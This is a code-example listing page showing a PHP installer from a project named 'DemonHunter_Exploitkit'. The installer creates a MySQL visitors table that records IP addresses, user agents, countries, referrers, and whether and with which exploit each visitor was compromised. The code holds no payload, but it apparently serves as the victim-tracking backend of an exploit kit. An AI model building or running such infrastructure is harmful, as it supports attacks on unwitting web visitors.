PHP CSQL::open Examples

Example #1

File: index.php Project: kurtcoke/DemonHunter_Exploitkit

<?php

include_once '../config.php';
include_once '../include/sql.php';
include_once '../include/visitors.php';
$sql = new CSQL($sqlSettings);
$sql->open();
createTables($sqlSettings);
echo "Installation Complete.<br>";
$sql->close();
function createTables($sqlSettings)
{
    $cq = new CQuery();
    echo "Creating Table " . $sqlSettings['tableVisitorsList'] . "<br>";
    $sql_result = mysql_query(" DROP TABLE IF EXISTS  `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "`");
    $sql_result = mysql_query("\r\n\t\t\t\tCREATE TABLE IF NOT EXISTS `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "` (\r\n\t\t\t\t`id` INT AUTO_INCREMENT ,\r\n\t\t\t\t`ipAddress` VARCHAR( 16 ),\r\n\t\t\t\t`userAgent` VARCHAR( 400 ),\r\n\t\t\t\t`country` VARCHAR( 400 ),\r\n\t\t\t\t`referrer` VARCHAR( 400 ),\r\n\t\t\t\t`exploited` BOOL,\r\n\t\t\t\t`exploit` VARCHAR( 400 ),\t\t\t\t\r\n\t\t\t\tPRIMARY KEY ( `id` )\r\n\t\t\t\t) ENGINE = MYISAM ;");
    echo "Tables Created.<br>";
}